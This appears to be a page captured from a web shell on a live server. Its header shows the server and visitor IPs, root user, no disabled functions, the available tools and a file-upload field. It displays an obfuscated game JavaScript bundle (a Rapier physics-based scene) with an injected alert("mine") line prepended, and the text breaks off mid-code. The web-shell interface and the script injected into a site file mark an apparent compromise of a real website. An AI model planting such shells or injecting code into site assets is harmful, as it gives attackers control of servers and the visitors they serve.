| Server IP : 167.235.67.158 / Your IP : 216.73.216.95 Web Server : Apache System : Linux ubuntu-8gb-nbg1-1 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 User : root ( 0) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/bc.the-word.com/ |
Upload File : |
alert("mine");
var a0_0x5289db = (function () { var _0x47f721 = !![]; return function (_0x2b6a5b, _0x803e3f) { var _0x36019b = _0x47f721 ? function () { if (_0x803e3f) { var _0x2d8927 = _0x803e3f['apply'](_0x2b6a5b, arguments); return _0x803e3f = null, _0x2d8927; } } : function () { }; return _0x47f721 = ![], _0x36019b; }; }()), a0_0x453073 = a0_0x5289db(this, function () { return a0_0x453073['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](a0_0x453073)['search']('(((.+)+)+)+$'); }); a0_0x453073(); var a0_0x47a4f5 = (function () { var _0x122022 = !![]; return function (_0x47fe6e, _0xdf9434) { var _0x3d442c = _0x122022 ? function () { if (_0xdf9434) { var _0x2c4adb = _0xdf9434['apply'](_0x47fe6e, arguments); return _0xdf9434 = null, _0x2c4adb; } } : function () { }; return _0x122022 = ![], _0x3d442c; }; }()), a0_0x4f4c88 = a0_0x47a4f5(this, function () { var _0x543d96 = function () { var _0x379bc; try { _0x379bc = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')(); } catch (_0x4ae542) { _0x379bc = window; } return _0x379bc; }, _0x548598 = _0x543d96(), _0x414807 = _0x548598['console'] = _0x548598['console'] || {}, _0x508afd = ['log', 'warn', 'info', 'error', 'exception', 'table', 'trace']; for (var _0x26d881 = 0x0; _0x26d881 < _0x508afd['length']; _0x26d881++) { var _0x666347 = a0_0x47a4f5['constructor']['prototype']['bind'](a0_0x47a4f5), _0x283bf4 = _0x508afd[_0x26d881], _0x4ff47f = _0x414807[_0x283bf4] || _0x666347; _0x666347['__proto__'] = a0_0x47a4f5['bind'](a0_0x47a4f5), _0x666347['toString'] = _0x4ff47f['toString']['bind'](_0x4ff47f), _0x414807[_0x283bf4] = _0x666347; } }); a0_0x4f4c88(), ((() => { var _0xaf915, _0x142276, _0x43ba25, _0x510932, _0x245dc0 = { 0x186a: (_0x1d20da, _0x589ae2, _0x392a40) => { var _0x2bb82a = { './actors/actors_component': [0x462, 0x9], './actors/actors_component.ts': [0x462, 0x9], './actors/scene_actors_model': [0x26b1, 0x9, 0x389], './actors/scene_actors_model.ts': [0x26b1, 0x9, 0x389], './bodies_debug_component': [0x294, 0x9], './bodies_debug_component.ts': [0x294, 0x9], './camera_component': [0x1512, 0x9], './camera_component.ts': [0x1512, 0x9], './custom/boss_light_controller': [0x235d, 0x9, 0x35], './custom/boss_light_controller.ts': [0x235d, 0x9, 0x35], './custom/boss_tint_controller': [0x206b, 0x9, 0x12b], './custom/boss_tint_controller.ts': [0x206b, 0x9, 0x12b], './debug_performance_model': [0x162b, 0x9], './debug_performance_model.ts': [0x162b, 0x9], './effect/explosion_creation_controller': [0x399, 0x9], './effect/explosion_creation_controller.ts': [0x399, 0x9], './effect/explosion_render_component': [0x2352, 0x9], './effect/explosion_render_component.ts': [0x2352, 0x9], './effect/flash_and_screenshake_render_component': [0x5f9, 0x7], './effect/flash_and_screenshake_render_component.ts': [0x5f9, 0x7], './effect/particle_effect_render_component': [0xed4, 0x7], './effect/particle_effect_render_component.ts': [0xed4, 0x7], './game_scene': [0x26e9, 0x9], './game_scene.ts': [0x26e9, 0x9], './game_scene_model': [0xd4a, 0x9, 0x192], './game_scene_model.ts': [0xd4a, 0x9, 0x192], './game_statistics_component': [0x692, 0x9], './game_statistics_component.ts': [0x692, 0x9], './interaction/interaction_component': [0x157a, 0x9], './interaction/interaction_component.test': [0x1e37, 0x7, 0x2df], './interaction/interaction_component.test.ts': [0x1e37, 0x7, 0x2df], './interaction/interaction_component.ts': [0x157a, 0x9], './interaction/interaction_model': [0x1fe7, 0x9], './interaction/interaction_model.ts': [0x1fe7, 0x9], './lights/lights_component': [0x1222, 0x9], './lights/lights_component.ts': [0x1222, 0x9], './lights/scene_lights_model': [0xd4c, 0x9], './lights/scene_lights_model.ts': [0xd4c, 0x9], './map_asset_loader_component': [0x110b, 0x9], './map_asset_loader_component.ts': [0x110b, 0x9], './map_component': [0x1c04, 0x9], './map_component.ts': [0x1c04, 0x9], './objective/objective_sound_scene_component': [0xb07, 0x9], './objective/objective_sound_scene_component.ts': [0xb07, 0x9], './objective/objectives_component': [0x20f1, 0x9], './objective/objectives_component.ts': [0x20f1, 0x9], './objective/objectives_model': [0xd2c, 0x7], './objective/objectives_model.ts': [0xd2c, 0x7], './perks/perks_component': [0xac8, 0x9], './perks/perks_component.ts': [0xac8, 0x9], './post_fx/light_2D_pipeline_flipx': [0x20cd, 0x9], './post_fx/light_2D_pipeline_flipx.ts': [0x20cd, 0x9], './post_fx/light_2D_pipeline_terrain': [0x519, 0x9], './post_fx/light_2D_pipeline_terrain.ts': [0x519, 0x9], './post_fx/postfx_component': [0x386, 0x9], './post_fx/postfx_component.ts': [0x386, 0x9], './post_fx/postfx_model': [0x8f0, 0x9, 0x120], './post_fx/postfx_model.ts': [0x8f0, 0x9, 0x120], './post_fx/postfx_pipeline': [0x7da, 0x9], './post_fx/postfx_pipeline.ts': [0x7da, 0x9], './provider/id_provider': [0x1bed, 0x9], './provider/id_provider.ts': [0x1bed, 0x9], './provider/provider_context': [0x221b, 0x9], './provider/provider_context.ts': [0x221b, 0x9], './provider/rng_provider': [0x1a39, 0x7], './provider/rng_provider.ts': [0x1a39, 0x7], './provider/time_provider': [0xde9, 0x7], './provider/time_provider.ts': [0xde9, 0x7], './sound/background_music_component': [0x1c22, 0x9, 0xca], './sound/background_music_component.ts': [0x1c22, 0x9, 0xca], './weather_render_component': [0x23e1, 0x9], './weather_render_component.ts': [0x23e1, 0x9] }; function _0x8e28e9(_0x50b489) { if (!_0x392a40['o'](_0x2bb82a, _0x50b489)) return Promise['resolve']()['then'](() => { var _0xe9b9b3 = new Error('Cannot\x20find\x20module\x20\x27' + _0x50b489 + '\x27'); throw _0xe9b9b3['code'] = 'MODULE_NOT_FOUND', _0xe9b9b3; }); var _0x5b01b7 = _0x2bb82a[_0x50b489], _0x4176af = _0x5b01b7[0x0]; return Promise['all'](_0x5b01b7['slice'](0x2)['map'](_0x392a40['e']))['then'](() => _0x392a40['t'](_0x4176af, 0x10 | _0x5b01b7[0x1])); } _0x8e28e9['keys'] = () => Object['keys'](_0x2bb82a), _0x8e28e9['id'] = 0x186a, _0x1d20da['exports'] = _0x8e28e9; }, 0x9a8: (_0x4f592f, _0x4e06a3, _0x57275d) => { 'use strict'; let _0x4cb6f6; _0x57275d['r'](_0x4e06a3), _0x57275d['d'](_0x4e06a3, { 'ActiveCollisionTypes': () => _0x4ba6f5, 'ActiveEvents': () => _0x3c4ba7, 'ActiveHooks': () => _0x5456ae, 'Ball': () => _0x391e77, 'BroadPhase': () => _0x1c8aa8, 'CCDSolver': () => _0x3d82b0, 'Capsule': () => _0x3701b1, 'CharacterCollision': () => _0x141c82, 'CoefficientCombineRule': () => _0x1de744, 'Collider': () => _0x2f9ba3, 'ColliderDesc': () => _0x9be8ee, 'ColliderSet': () => _0x40e80f, 'ConvexPolygon': () => _0x58a1ae, 'Cuboid': () => _0x295669, 'DebugRenderBuffers': () => _0x794771, 'DebugRenderPipeline': () => _0x3a68dd, 'EventQueue': () => _0x39d060, 'FeatureType': () => _0x3dd9d3, 'FixedImpulseJoint': () => _0x2f664b, 'FixedMultibodyJoint': () => _0x24db31, 'HalfSpace': () => _0x3a6d6c, 'Heightfield': () => _0x4a437c, 'ImpulseJoint': () => _0xee98cd, 'ImpulseJointSet': () => _0x18c1cb, 'IntegrationParameters': () => _0x438ab5, 'IslandManager': () => _0x4040bd, 'JointData': () => _0x31607a, 'JointType': () => _0xb03f97, 'KinematicCharacterController': () => _0x42492f, 'MassPropsMode': () => _0x1370fa, 'MotorModel': () => _0x495adf, 'MultibodyJoint': () => _0x24ef4a, 'MultibodyJointSet': () => _0x312564, 'NarrowPhase': () => _0xfe69a5, 'PhysicsPipeline': () => _0x1f5062, 'PointColliderProjection': () => _0x56e8af, 'PointProjection': () => _0x4ada65, 'Polyline': () => _0x2938f9, 'PrismaticImpulseJoint': () => _0x49fbb3, 'PrismaticMultibodyJoint': () => _0x9f39b6, 'QueryFilterFlags': () => _0x19c439, 'QueryPipeline': () => _0x5ca1c2, 'Ray': () => _0x3c6bc4, 'RayColliderIntersection': () => _0x4cbd10, 'RayColliderToi': () => _0x3b0073, 'RayIntersection': () => _0x2e41b3, 'RevoluteImpulseJoint': () => _0x50b132, 'RevoluteMultibodyJoint': () => _0x5e6cf1, 'RigidBody': () => _0x34fab, 'RigidBodyDesc': () => _0x4445da, 'RigidBodySet': () => _0x3321ab, 'RigidBodyType': () => _0x322e6c, 'RotationOps': () => _0x36d6e2, 'RoundConvexPolygon': () => _0x536869, 'RoundCuboid': () => _0x3f9345, 'RoundTriangle': () => _0x51504a, 'Segment': () => _0x59b7f0, 'SerializationPipeline': () => _0x18322e, 'Shape': () => _0x34daab, 'ShapeColliderTOI': () => _0x4929cd, 'ShapeContact': () => _0x221492, 'ShapeTOI': () => _0x30e484, 'ShapeType': () => _0x4aba84, 'SolverFlags': () => _0x579005, 'TempContactForceEvent': () => _0x3c107a, 'TempContactManifold': () => _0x4db266, 'TriMesh': () => _0x16b4c2, 'Triangle': () => _0x18340d, 'UnitImpulseJoint': () => _0x4acb00, 'UnitMultibodyJoint': () => _0x5dd5ca, 'Vector2': () => _0x49a753, 'VectorOps': () => _0x3e685e, 'World': () => _0x3d3669, 'default': () => _0x2a0da8, 'init': () => _0x2e4553, 'version': () => _0x48e69c }); const _0x1a55cb = new Array(0x20)['fill'](void 0x0); function _0x87f0fd(_0xb26d50) { return _0x1a55cb[_0xb26d50]; } _0x1a55cb['push'](void 0x0, null, !0x0, !0x1); let _0xea363f = _0x1a55cb['length']; function _0x848c74(_0x3df1c6) { const _0x4a944f = _0x87f0fd(_0x3df1c6); return function (_0x336e77) { _0x336e77 < 0x24 || (_0x1a55cb[_0x336e77] = _0xea363f, _0xea363f = _0x336e77); }(_0x3df1c6), _0x4a944f; } function _0x594304(_0x4aaea1) { _0xea363f === _0x1a55cb['length'] && _0x1a55cb['push'](_0x1a55cb['length'] + 0x1); const _0x1ff18d = _0xea363f; return _0xea363f = _0x1a55cb[_0x1ff18d], _0x1a55cb[_0x1ff18d] = _0x4aaea1, _0x1ff18d; } function _0x5ca10b(_0x39e15c) { return null == _0x39e15c; } let _0x2834de = new Float64Array(); function _0x3963d6() { return 0x0 === _0x2834de['byteLength'] && (_0x2834de = new Float64Array(_0x4cb6f6['memory']['buffer'])), _0x2834de; } let _0x2f8f23 = new Int32Array(); function _0x306da3() { return 0x0 === _0x2f8f23['byteLength'] && (_0x2f8f23 = new Int32Array(_0x4cb6f6['memory']['buffer'])), _0x2f8f23; } const _0x5ef107 = new TextDecoder('utf-8', { 'ignoreBOM': !0x0, 'fatal': !0x0 }); _0x5ef107['decode'](); let _0x343a90 = new Uint8Array(); function _0x3b906f(_0xe4edc2, _0x5a06e1) { return _0x5ef107['decode']((0x0 === _0x343a90['byteLength'] && (_0x343a90 = new Uint8Array(_0x4cb6f6['memory']['buffer'])), _0x343a90)['subarray'](_0xe4edc2, _0xe4edc2 + _0x5a06e1)); } function _0x200901(_0x51a31b, _0x1c5c69) { if (!(_0x51a31b instanceof _0x1c5c69)) throw new Error('expected\x20instance\x20of\x20' + _0x1c5c69['name']); return _0x51a31b['ptr']; } let _0x14665d = new Float32Array(); function _0x373de1() { return 0x0 === _0x14665d['byteLength'] && (_0x14665d = new Float32Array(_0x4cb6f6['memory']['buffer'])), _0x14665d; } let _0x1015a8 = 0x20; function _0x270afc(_0x204792) { if (0x1 == _0x1015a8) throw new Error('out\x20of\x20js\x20stack'); return _0x1a55cb[--_0x1015a8] = _0x204792, _0x1015a8; } function _0x5b76ec(_0x25d330, _0x11a5c2) { return _0x373de1()['subarray'](_0x25d330 / 0x4, _0x25d330 / 0x4 + _0x11a5c2); } let _0x49ef32 = new Uint32Array(); function _0x527d07() { return 0x0 === _0x49ef32['byteLength'] && (_0x49ef32 = new Uint32Array(_0x4cb6f6['memory']['buffer'])), _0x49ef32; } let _0x4d723e = 0x0; function _0x122cae(_0x14c797, _0x5cfd61) { const _0x465253 = _0x5cfd61(0x4 * _0x14c797['length']); return _0x373de1()['set'](_0x14c797, _0x465253 / 0x4), _0x4d723e = _0x14c797['length'], _0x465253; } function _0x3a4784(_0x4702b6, _0x3d5c50) { const _0x21c0cd = _0x3d5c50(0x4 * _0x4702b6['length']); return _0x527d07()['set'](_0x4702b6, _0x21c0cd / 0x4), _0x4d723e = _0x4702b6['length'], _0x21c0cd; } function _0x3a6b76(_0x760eec, _0x2962da) { try { return _0x760eec['apply'](this, _0x2962da); } catch (_0x4ac7cb) { _0x4cb6f6['__wbindgen_exn_store'](_0x594304(_0x4ac7cb)); } } Object['freeze']({ 'Revolute': 0x0, 0x0: 'Revolute', 'Fixed': 0x1, 0x1: 'Fixed', 'Prismatic': 0x2, 0x2: 'Prismatic', 'Generic': 0x3, 0x3: 'Generic' }), Object['freeze']({ 'AccelerationBased': 0x0, 0x0: 'AccelerationBased', 'ForceBased': 0x1, 0x1: 'ForceBased' }); const _0x313a6c = Object['freeze']({ 'X': 0x0, 0x0: 'X', 'Y': 0x1, 0x1: 'Y', 'AngX': 0x2, 0x2: 'AngX' }); Object['freeze']({ 'Dynamic': 0x0, 0x0: 'Dynamic', 'Fixed': 0x1, 0x1: 'Fixed', 'KinematicPositionBased': 0x2, 0x2: 'KinematicPositionBased', 'KinematicVelocityBased': 0x3, 0x3: 'KinematicVelocityBased' }), Object['freeze']({ 'Vertex': 0x0, 0x0: 'Vertex', 'Face': 0x1, 0x1: 'Face', 'Unknown': 0x2, 0x2: 'Unknown' }), Object['freeze']({ 'Ball': 0x0, 0x0: 'Ball', 'Cuboid': 0x1, 0x1: 'Cuboid', 'Capsule': 0x2, 0x2: 'Capsule', 'Segment': 0x3, 0x3: 'Segment', 'Polyline': 0x4, 0x4: 'Polyline', 'Triangle': 0x5, 0x5: 'Triangle', 'TriMesh': 0x6, 0x6: 'TriMesh', 'HeightField': 0x7, 0x7: 'HeightField', 'Compound': 0x8, 0x8: 'Compound', 'ConvexPolygon': 0x9, 0x9: 'ConvexPolygon', 'RoundCuboid': 0xa, 0xa: 'RoundCuboid', 'RoundTriangle': 0xb, 0xb: 'RoundTriangle', 'RoundConvexPolygon': 0xc, 0xc: 'RoundConvexPolygon', 'HalfSpace': 0xd, 0xd: 'HalfSpace' }); class _0x10d266 { static ['__wrap'](_0x1412dd) { const _0x584f09 = Object['create'](_0x10d266['prototype']); return _0x584f09['ptr'] = _0x1412dd, _0x584f09; } ['__destroy_into_raw']() { const _0x307eff = this['ptr']; return this['ptr'] = 0x0, _0x307eff; } ['free']() { const _0x43b69c = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawbroadphase_free'](_0x43b69c); } constructor() { const _0x2069c7 = _0x4cb6f6['rawbroadphase_new'](); return _0x10d266['__wrap'](_0x2069c7); } } class _0x4d94ea { static ['__wrap'](_0x52b187) { const _0xb62a8c = Object['create'](_0x4d94ea['prototype']); return _0xb62a8c['ptr'] = _0x52b187, _0xb62a8c; } ['__destroy_into_raw']() { const _0x25eb02 = this['ptr']; return this['ptr'] = 0x0, _0x25eb02; } ['free']() { const _0x121408 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawccdsolver_free'](_0x121408); } constructor() { const _0x31555c = _0x4cb6f6['rawccdsolver_new'](); return _0x4d94ea['__wrap'](_0x31555c); } } class _0x4941fc { static ['__wrap'](_0x184619) { const _0x31d69f = Object['create'](_0x4941fc['prototype']); return _0x31d69f['ptr'] = _0x184619, _0x31d69f; } ['__destroy_into_raw']() { const _0xf94a83 = this['ptr']; return this['ptr'] = 0x0, _0xf94a83; } ['free']() { const _0x4e87d1 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawcharactercollision_free'](_0x4e87d1); } constructor() { const _0x3dd59d = _0x4cb6f6['rawcharactercollision_new'](); return _0x4941fc['__wrap'](_0x3dd59d); } ['handle']() { return _0x4cb6f6['rawcharactercollision_handle'](this['ptr']); } ['translationApplied']() { const _0x2c4fce = _0x4cb6f6['rawcharactercollision_translationApplied'](this['ptr']); return _0x581d34['__wrap'](_0x2c4fce); } ['translationRemaining']() { const _0x5ba315 = _0x4cb6f6['rawcharactercollision_translationRemaining'](this['ptr']); return _0x581d34['__wrap'](_0x5ba315); } ['toi']() { return _0x4cb6f6['rawcharactercollision_toi'](this['ptr']); } ['worldWitness1']() { const _0x4a9a08 = _0x4cb6f6['rawcharactercollision_worldWitness1'](this['ptr']); return _0x581d34['__wrap'](_0x4a9a08); } ['worldWitness2']() { const _0x327660 = _0x4cb6f6['rawcharactercollision_worldWitness2'](this['ptr']); return _0x581d34['__wrap'](_0x327660); } ['worldNormal1']() { const _0x17a509 = _0x4cb6f6['rawcharactercollision_worldNormal1'](this['ptr']); return _0x581d34['__wrap'](_0x17a509); } ['worldNormal2']() { const _0x54907c = _0x4cb6f6['rawcharactercollision_worldNormal2'](this['ptr']); return _0x581d34['__wrap'](_0x54907c); } } class _0x11a0e3 { static ['__wrap'](_0x34ec53) { const _0x12272e = Object['create'](_0x11a0e3['prototype']); return _0x12272e['ptr'] = _0x34ec53, _0x12272e; } ['__destroy_into_raw']() { const _0x52a08a = this['ptr']; return this['ptr'] = 0x0, _0x52a08a; } ['free']() { const _0x29fa07 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawcolliderset_free'](_0x29fa07); } ['coTranslation'](_0x545fbb) { const _0x2b4868 = _0x4cb6f6['rawcolliderset_coTranslation'](this['ptr'], _0x545fbb); return _0x581d34['__wrap'](_0x2b4868); } ['coRotation'](_0x260e96) { const _0x2155d8 = _0x4cb6f6['rawcolliderset_coRotation'](this['ptr'], _0x260e96); return _0x58e6cd['__wrap'](_0x2155d8); } ['coSetTranslation'](_0x5f4ec1, _0x535c49, _0x2e0280) { _0x4cb6f6['rawcolliderset_coSetTranslation'](this['ptr'], _0x5f4ec1, _0x535c49, _0x2e0280); } ['coSetTranslationWrtParent'](_0x2985cb, _0x24847e, _0x5cfa94) { _0x4cb6f6['rawcolliderset_coSetTranslationWrtParent'](this['ptr'], _0x2985cb, _0x24847e, _0x5cfa94); } ['coSetRotation'](_0x3569f8, _0x4e0d07) { _0x4cb6f6['rawcolliderset_coSetRotation'](this['ptr'], _0x3569f8, _0x4e0d07); } ['coSetRotationWrtParent'](_0x1985e3, _0x50659d) { _0x4cb6f6['rawcolliderset_coSetRotationWrtParent'](this['ptr'], _0x1985e3, _0x50659d); } ['coIsSensor'](_0x4ede20) { return 0x0 !== _0x4cb6f6['rawcolliderset_coIsSensor'](this['ptr'], _0x4ede20); } ['coShapeType'](_0x5522c3) { return _0x4cb6f6['rawcolliderset_coShapeType'](this['ptr'], _0x5522c3) >>> 0x0; } ['coHalfspaceNormal'](_0x315f27) { const _0x16075b = _0x4cb6f6['rawcolliderset_coHalfspaceNormal'](this['ptr'], _0x315f27); return 0x0 === _0x16075b ? void 0x0 : _0x581d34['__wrap'](_0x16075b); } ['coHalfExtents'](_0x224086) { const _0x34584c = _0x4cb6f6['rawcolliderset_coHalfExtents'](this['ptr'], _0x224086); return 0x0 === _0x34584c ? void 0x0 : _0x581d34['__wrap'](_0x34584c); } ['coSetHalfExtents'](_0x355d2c, _0x3a5b51) { _0x200901(_0x3a5b51, _0x581d34), _0x4cb6f6['rawcolliderset_coSetHalfExtents'](this['ptr'], _0x355d2c, _0x3a5b51['ptr']); } ['coRadius'](_0x515fa6) { try { const _0x5e7c46 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawcolliderset_coRadius'](_0x5e7c46, this['ptr'], _0x515fa6); var _0x4d9db4 = _0x306da3()[_0x5e7c46 / 0x4 + 0x0], _0x9876cf = _0x373de1()[_0x5e7c46 / 0x4 + 0x1]; return 0x0 === _0x4d9db4 ? void 0x0 : _0x9876cf; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['coSetRadius'](_0x3863c0, _0x35f865) { _0x4cb6f6['rawcolliderset_coSetRadius'](this['ptr'], _0x3863c0, _0x35f865); } ['coHalfHeight'](_0x5f0ddc) { try { const _0x2b49c8 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawcolliderset_coHalfHeight'](_0x2b49c8, this['ptr'], _0x5f0ddc); var _0x44683e = _0x306da3()[_0x2b49c8 / 0x4 + 0x0], _0x4e238d = _0x373de1()[_0x2b49c8 / 0x4 + 0x1]; return 0x0 === _0x44683e ? void 0x0 : _0x4e238d; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['coSetHalfHeight'](_0x318914, _0x235d3b) { _0x4cb6f6['rawcolliderset_coSetHalfHeight'](this['ptr'], _0x318914, _0x235d3b); } ['coRoundRadius'](_0x2ae330) { try { const _0x215a6f = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawcolliderset_coRoundRadius'](_0x215a6f, this['ptr'], _0x2ae330); var _0x5b0b3b = _0x306da3()[_0x215a6f / 0x4 + 0x0], _0x413298 = _0x373de1()[_0x215a6f / 0x4 + 0x1]; return 0x0 === _0x5b0b3b ? void 0x0 : _0x413298; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['coSetRoundRadius'](_0x46a120, _0x12a9b8) { _0x4cb6f6['rawcolliderset_coSetRoundRadius'](this['ptr'], _0x46a120, _0x12a9b8); } ['coVertices'](_0x28570b) { try { const _0x2463fb = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawcolliderset_coVertices'](_0x2463fb, this['ptr'], _0x28570b); var _0x439b62 = _0x306da3()[_0x2463fb / 0x4 + 0x0], _0x1c3385 = _0x306da3()[_0x2463fb / 0x4 + 0x1]; let _0x3acbef; return 0x0 !== _0x439b62 && (_0x3acbef = _0x5b76ec(_0x439b62, _0x1c3385)['slice'](), _0x4cb6f6['__wbindgen_free'](_0x439b62, 0x4 * _0x1c3385)), _0x3acbef; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['coIndices'](_0x2803e2) { try { const _0x4313e2 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawcolliderset_coIndices'](_0x4313e2, this['ptr'], _0x2803e2); var _0x211357 = _0x306da3()[_0x4313e2 / 0x4 + 0x0], _0x46392a = _0x306da3()[_0x4313e2 / 0x4 + 0x1]; let _0x4b974b; return 0x0 !== _0x211357 && (_0x4b974b = function (_0x2f169, _0x27c1cb) { return _0x527d07()['subarray'](_0x2f169 / 0x4, _0x2f169 / 0x4 + _0x27c1cb); }(_0x211357, _0x46392a)['slice'](), _0x4cb6f6['__wbindgen_free'](_0x211357, 0x4 * _0x46392a)), _0x4b974b; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['coHeightfieldHeights'](_0x91a52) { try { const _0x1fe7cd = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawcolliderset_coHeightfieldHeights'](_0x1fe7cd, this['ptr'], _0x91a52); var _0x14eee6 = _0x306da3()[_0x1fe7cd / 0x4 + 0x0], _0x4b78c4 = _0x306da3()[_0x1fe7cd / 0x4 + 0x1]; let _0x120396; return 0x0 !== _0x14eee6 && (_0x120396 = _0x5b76ec(_0x14eee6, _0x4b78c4)['slice'](), _0x4cb6f6['__wbindgen_free'](_0x14eee6, 0x4 * _0x4b78c4)), _0x120396; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['coHeightfieldScale'](_0x31e5a2) { const _0x30d1b4 = _0x4cb6f6['rawcolliderset_coHeightfieldScale'](this['ptr'], _0x31e5a2); return 0x0 === _0x30d1b4 ? void 0x0 : _0x581d34['__wrap'](_0x30d1b4); } ['coParent'](_0x47783b) { try { const _0x511650 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawcolliderset_coParent'](_0x511650, this['ptr'], _0x47783b); var _0x5202c0 = _0x306da3()[_0x511650 / 0x4 + 0x0], _0xf50ab9 = _0x3963d6()[_0x511650 / 0x8 + 0x1]; return 0x0 === _0x5202c0 ? void 0x0 : _0xf50ab9; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['coSetEnabled'](_0x70db59, _0x338a3f) { _0x4cb6f6['rawcolliderset_coSetEnabled'](this['ptr'], _0x70db59, _0x338a3f); } ['coIsEnabled'](_0x2cbbb3) { return 0x0 !== _0x4cb6f6['rawcolliderset_coIsEnabled'](this['ptr'], _0x2cbbb3); } ['coFriction'](_0x7b2d56) { return _0x4cb6f6['rawcolliderset_coFriction'](this['ptr'], _0x7b2d56); } ['coRestitution'](_0x436c17) { return _0x4cb6f6['rawcolliderset_coRestitution'](this['ptr'], _0x436c17); } ['coDensity'](_0x414253) { return _0x4cb6f6['rawcolliderset_coDensity'](this['ptr'], _0x414253); } ['coMass'](_0x401532) { return _0x4cb6f6['rawcolliderset_coMass'](this['ptr'], _0x401532); } ['coVolume'](_0x882f09) { return _0x4cb6f6['rawcolliderset_coVolume'](this['ptr'], _0x882f09); } ['coCollisionGroups'](_0xe7d6bd) { return _0x4cb6f6['rawcolliderset_coCollisionGroups'](this['ptr'], _0xe7d6bd) >>> 0x0; } ['coSolverGroups'](_0x660fa0) { return _0x4cb6f6['rawcolliderset_coSolverGroups'](this['ptr'], _0x660fa0) >>> 0x0; } ['coActiveHooks'](_0x4cb3d5) { return _0x4cb6f6['rawcolliderset_coActiveHooks'](this['ptr'], _0x4cb3d5) >>> 0x0; } ['coActiveCollisionTypes'](_0x3fb4e3) { return _0x4cb6f6['rawcolliderset_coActiveCollisionTypes'](this['ptr'], _0x3fb4e3); } ['coActiveEvents'](_0x2fcd4f) { return _0x4cb6f6['rawcolliderset_coActiveEvents'](this['ptr'], _0x2fcd4f) >>> 0x0; } ['coContactForceEventThreshold'](_0x194479) { return _0x4cb6f6['rawcolliderset_coContactForceEventThreshold'](this['ptr'], _0x194479); } ['coContainsPoint'](_0x1d2062, _0x423829) { return _0x200901(_0x423829, _0x581d34), 0x0 !== _0x4cb6f6['rawcolliderset_coContainsPoint'](this['ptr'], _0x1d2062, _0x423829['ptr']); } ['coCastShape'](_0x2ca54f, _0x4e773b, _0x1865f6, _0x56d8f3, _0x5b2a3e, _0x35cf37, _0x15c1e2, _0xcd8e0b) { _0x200901(_0x4e773b, _0x581d34), _0x200901(_0x1865f6, _0x141742), _0x200901(_0x56d8f3, _0x581d34), _0x200901(_0x5b2a3e, _0x58e6cd), _0x200901(_0x35cf37, _0x581d34); const _0x8debb2 = _0x4cb6f6['rawcolliderset_coCastShape'](this['ptr'], _0x2ca54f, _0x4e773b['ptr'], _0x1865f6['ptr'], _0x56d8f3['ptr'], _0x5b2a3e['ptr'], _0x35cf37['ptr'], _0x15c1e2, _0xcd8e0b); return 0x0 === _0x8debb2 ? void 0x0 : _0x182936['__wrap'](_0x8debb2); } ['coCastCollider'](_0x54ffa8, _0x383dcd, _0xc25c57, _0x2f6d73, _0x5b2847, _0x20bbc2) { _0x200901(_0x383dcd, _0x581d34), _0x200901(_0x2f6d73, _0x581d34); const _0x3afb31 = _0x4cb6f6['rawcolliderset_coCastCollider'](this['ptr'], _0x54ffa8, _0x383dcd['ptr'], _0xc25c57, _0x2f6d73['ptr'], _0x5b2847, _0x20bbc2); return 0x0 === _0x3afb31 ? void 0x0 : _0x2e77c7['__wrap'](_0x3afb31); } ['coIntersectsShape'](_0x430e02, _0x1d7714, _0x1ea212, _0x5ded79) { return _0x200901(_0x1d7714, _0x141742), _0x200901(_0x1ea212, _0x581d34), _0x200901(_0x5ded79, _0x58e6cd), 0x0 !== _0x4cb6f6['rawcolliderset_coIntersectsShape'](this['ptr'], _0x430e02, _0x1d7714['ptr'], _0x1ea212['ptr'], _0x5ded79['ptr']); } ['coContactShape'](_0x31cec1, _0x5683f5, _0x1383c3, _0x8ca042, _0x258b14) { _0x200901(_0x5683f5, _0x141742), _0x200901(_0x1383c3, _0x581d34), _0x200901(_0x8ca042, _0x58e6cd); const _0x1cafda = _0x4cb6f6['rawcolliderset_coContactShape'](this['ptr'], _0x31cec1, _0x5683f5['ptr'], _0x1383c3['ptr'], _0x8ca042['ptr'], _0x258b14); return 0x0 === _0x1cafda ? void 0x0 : _0x3f0e72['__wrap'](_0x1cafda); } ['coContactCollider'](_0x8ecdcd, _0x308606, _0x3a80b9) { const _0x15d924 = _0x4cb6f6['rawcolliderset_coContactCollider'](this['ptr'], _0x8ecdcd, _0x308606, _0x3a80b9); return 0x0 === _0x15d924 ? void 0x0 : _0x3f0e72['__wrap'](_0x15d924); } ['coProjectPoint'](_0x5c2b0e, _0x28674f, _0x51d627) { _0x200901(_0x28674f, _0x581d34); const _0x28ffaf = _0x4cb6f6['rawcolliderset_coProjectPoint'](this['ptr'], _0x5c2b0e, _0x28674f['ptr'], _0x51d627); return _0x34bd26['__wrap'](_0x28ffaf); } ['coIntersectsRay'](_0x45ee66, _0x5682e0, _0xd5f45e, _0x50a90f) { return _0x200901(_0x5682e0, _0x581d34), _0x200901(_0xd5f45e, 